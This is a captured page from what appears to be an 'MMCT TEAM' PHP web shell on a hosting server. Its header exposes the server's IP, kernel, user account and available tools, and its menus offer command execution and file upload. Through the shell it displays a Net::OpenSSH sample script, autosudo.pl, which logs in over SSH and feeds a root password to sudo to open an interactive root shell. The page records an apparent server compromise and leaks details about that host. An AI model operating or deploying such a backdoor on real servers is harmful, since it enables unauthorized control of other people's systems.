MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/doc/perl-Net-OpenSSH-0.62/sample/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/doc/perl-Net-OpenSSH-0.62/sample/autosudo.pl
#!/usr/bin/perl

# see http://perlmonks.org/?node_id=890441

use strict;
use warnings;

use Net::OpenSSH;
use Expect;

@ARGV == 3 or die <<EOU;
Usage:
  $0 host user_passwd root_passwd

EOU

my $host = $ARGV[0];
my $pass1 = $ARGV[1];
my $pass2 = $ARGV[2];

my $ssh = Net::OpenSSH->new($host, passwd => $pass1);
$ssh->error and die "unable to connect to remote host: " . $ssh->error;

$ssh->system("sudo -K");

my ( $pty, $pid ) = $ssh->open2pty({stderr_to_stdout => 1}, 'sudo', -p => 'configtest:', 'bash', '-i')
    or return "failed to attempt sudo bash: $!\n";

my $expect = Expect->init($pty);

$expect->expect(2,
                [ qr/configtest:/ => sub { shift->send("$pass2\n"); exp_continue;} ],
                [ qr/Sorry/       => sub { die "Login failed" } ],
                [ qr/.*#\s+/      => sub { print shift->match }]
               ) or die "Timeout!";

$expect->interact();


MMCT - 2023